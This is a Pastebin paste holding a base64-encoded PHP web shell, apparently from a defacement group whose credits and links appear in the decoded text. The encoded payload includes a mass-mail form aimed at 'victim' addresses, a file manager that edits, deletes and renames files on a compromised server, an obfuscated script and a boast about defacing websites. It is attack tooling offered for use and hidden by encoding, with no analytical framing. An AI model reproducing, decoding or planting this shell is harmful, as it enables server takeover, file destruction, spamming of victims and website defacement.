cz0iaWYodGhpcy52YWx1ZSA9PSAndmljdGltQGRvbWFpbi5jb20sdmljdGltMkBkb21haW4uY29tJyl0aGlzLnZhbHVlID0gJyc7IiBvbmJsdXI9ImlmKHRoaXMudmFsdWU9PScnKXRoaXMudmFsdWU9J3ZpY3RpbUBkb21haW4uY29tLHZpY3RpbTJAZG9tYWluLmNvbSc7Ii8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPiAKICAgICAgICAgICAgICAgICAgICAgICAgU3ViamVjdCAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+IAogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImNtZCIgbmFtZT0ic3ViamVjdCIgdmFsdWU9Ikp1c3QgdGVzdGluZyBteSBGdWNraW5nIFNraWxseiEiIG9uZm9jdXM9ImlmKHRoaXMudmFsdWUgPT0gJ0p1c3QgdGVzdGluZyBteSBGdWNraW5nIFNraWxseiEnKXRoaXMudmFsdWUgPSAnJzsiIG9uYmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0nSnVzdCB0ZXN0aW5nIG15IEZ1Y2tpbmcgU2tpbGx6ISc7IiAvPgogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIyIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJtZXNzYWdlIiBjb2xzPSIxNzMiIHJvd3M9IjEwIiBjbGFzcz0iY21kIj5BbGwgaSByZW1lbWJlciBhcmUgdGhvc2UgbG9uZWx5IG5pZ2h0cyB3aGVuIGkgd2FzIGRlZmFjaW5nIHRob3NlIGluc2VjdXJlIHdlYnNpdGVzITwvdGV4dGFyZWE+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCByb3dzcGFuPSIyIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBzdHlsZT0ibWFyZ2luIDogMjBweDsgbWFyZ2luLWxlZnQ6IDM5MHB4OyBwYWRkaW5nIDogMTBweDsgd2lkdGg6IDEwMHB4OyIgdHlwZT0ic3VibWl0IiBjbGFzcz0ib3duIiB2YWx1ZT0iU2VuZCEgOkQiLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgPC90YWJsZT4gICAgICAgICAgICAgCiAgICAgICAgPC9mb3JtPiAgICAKICAgICAgICA8P3BocCAKICAgIH0gCn0gCgoKLy8gRWRpdCBGaWxlIAoKZWxzZSBpZihpc3NldCgkX1BPU1RbJ2ZpbGUnXSkgJiYgCiAgICAgICAgaXNzZXQoJF9QT1NUWydjb250ZW50J10pICkgCnsgC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AogICAgfSAKICAgIGlmKGlzX2RpcigkZGlyKSkgCiAgICB7IAogICAgICAgICRoYW5kbGUgPSBvcGVuZGlyKCRkaXIpOyAKICAgICAgICBpZigkaGFuZGxlICE9IEZBTFNFKSAKICAgICAgICB7IAogICAgICAgIGlmKCRkaXJbKHN0cmxlbigkZGlyKS0xKV0gIT0gJFNFUEFSQVRPUil7JGRpciA9ICRkaXIuJFNFUEFSQVRPUjt9IAogICAgICAgIHdoaWxlIChmYWxzZSAhPT0gKCRmaWxlID0gcmVhZGRpcigkaGFuZGxlKSkpIHsgCiAgICAgICAgICAgICAgICBpZiAoJGZpbGUgIT0gIi4iICYmICRmaWxlICE9ICIuLiIpIAogICAgICAgIHsgCiAgICAgICAgICAgICAgICAvL2VjaG8gJGZpbGU7IAogICAgICAgICAgICAgICAgLy9mIGl0cyBhIGRpcmVjdG9yeSAKICAgICAgICAgICAgICAgIGlmKGlzX2RpcigkZGlyLiRmaWxlKSkgCiAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgID8+IAogICAgICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSdkaXInPjxhIGhyZWY9Jzw/cGhwIGVjaG8gJHNlbGYgPz4/ZGlyPTw/cGhwIGVjaG8gJGRpci4kZmlsZSA/Pic+Lzw/cGhwIGVjaG8gJGZpbGUgPz48L2E+PC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSdpbmZvJz5ESVI8L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9J2luZm8nPkRJUjwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD48L3RkPiAKICAgICAgICAgICAgICAgICAgICA8Zm9udCBjb2xvcj0id2hpdGUiPjx0ZCBjbGFzcz0iaW5mbyI+PGEgaHJlZj0iPD9waHAgZWNobyAkc2VsZjs/Pj9yZW5hbWU9PD9waHAgZWNobyAkZGlyLiRmaWxlOz8+Ij5SZW5hbWU8L2E+PC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICA8P3BocCAKICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAvL0l0cyBhIGZpbGUgIAogICAgICAgICAgICAgICAgZWxzZSAKICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgPz4gCiAgICAgICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9J2ZpbGUnPjxhIGhyZWY9Jzw/cGhwIGVjaG8gJHNlbGYgPz4/b3Blbj08P3BocCBlY2hvICRkaXIuJGZpbGUgPz4nPjw/cGhwIGVjaG8gJGZpbGUgPz48L2E+PC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSdpbmZvJz48P3BocCBlY2hvIEh1bWFuUmVhZGFibGVGaWxlc2l6ZShmaWxlc2l6ZSgkZGlyLiRmaWxlKSk7Pz48L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9J2luZm8nPjw/cGhwIGVjaG8gZ2V0RmlsZVBlcm1pc3Npb25zKCRkaXIuJGZpbGUpOz8+PC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJpbmZvIj48YSBocmVmPSI8P3BocCBlY2hvICRzZWxmOz8+P2RlbGV0ZT08P3BocCBlY2hvICRkaXIuJGZpbGU7Pz4iPkRlbGV0ZTwvYT48L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImluZm8iPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNlbGY7Pz4/cmVuYW1lPTw/cGhwIGVjaG8gJGRpci4kZmlsZTs/PiI+UmVuYW1lPC9hPjwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDwvdHI+IDwvZm9udD4KICAgICAgICAgICAgICAgICAgICA8P3BocCAKICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgIH0gC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W5nLmZyb21DaGFyQ29kZShpKTtlPWRvY3VtZW50LmNyZWF0ZVRleHROb2RlKGUpLGMucGFyZW50Tm9kZS5yZXBsYWNlQ2hpbGQoZSxjKX10LnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQodCk7fX1jYXRjaCh1KXt9fSgpLyogXV0+ICovPC9zY3JpcHQ+PC9mb250Pjxicj48YnI+Cjxicj4KPGZvbnQgZmFjZT0iSWNlbGFuZCIgc3R5bGU9ImNvbG9yOmxpbWU7dGV4dC1zaGFkb3c6MHB4IDFweCA1cHggIzAwMDtmb250LXNpemU6MzBweCI+PGEgaHJlZj0iaHR0cDovL3d3dy5tYWRsZWV0cy5jb20vIiB0YXJnZXQ9Il9ibGFuayIgc3R5bGU9ImNvbG9yOiBsaW1lIj5odHRwOi8vd3d3Lk1hRExlZVRzLmNvbTwvZm9udD48YnI+Cjxmb250IGZhY2U9IkljZWxhbmQiIHN0eWxlPSJjb2xvcjpsaW1lO3RleHQtc2hhZG93OjBweCAxcHggNXB4ICMwMDA7Zm9udC1zaXplOjMwcHgiPjxhIGhyZWY9Imh0dHBzOi8vd3d3LmZhY2Vib29rLmNvbS9NYURMZWVUcy5wdG1sIiB0YXJnZXQ9Il9ibGFuayIgc3R5bGU9ImNvbG9yOiBsaW1lIj5odHRwczovL3d3dy5mYWNlYm9vay5jb20vTWFETGVlVHMucHRtbDwvZm9udD48YnI+Cjwvc2NyaXB0Pgo8L3A+IAo8L2Rpdj4gCjwvYm9keT4gCjwvaHRtbD4=")); ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top